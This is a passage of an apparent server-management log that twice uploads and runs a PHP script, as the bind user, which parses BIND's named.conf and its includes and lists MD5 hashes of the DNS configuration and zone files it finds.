MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 12:29:33: Establishing a connection
2026-04-22 12:29:33: 

PUT: /tmp/pkp150041

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 12:29:33: 

runuser -l bind -s /bin/bash -c '/tmp/pkp150041; rm /tmp/pkp150041'

2026-04-22 12:29:33: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 16:41:08: Establishing a connection
2026-04-22 16:41:08: 

PUT: /tmp/pkp800232

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 16:41:08: 

runuser -l bind -s /bin/bash -c '/tmp/pkp800232; rm /tmp/pkp800232'

2026-04-22 16:41:08: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
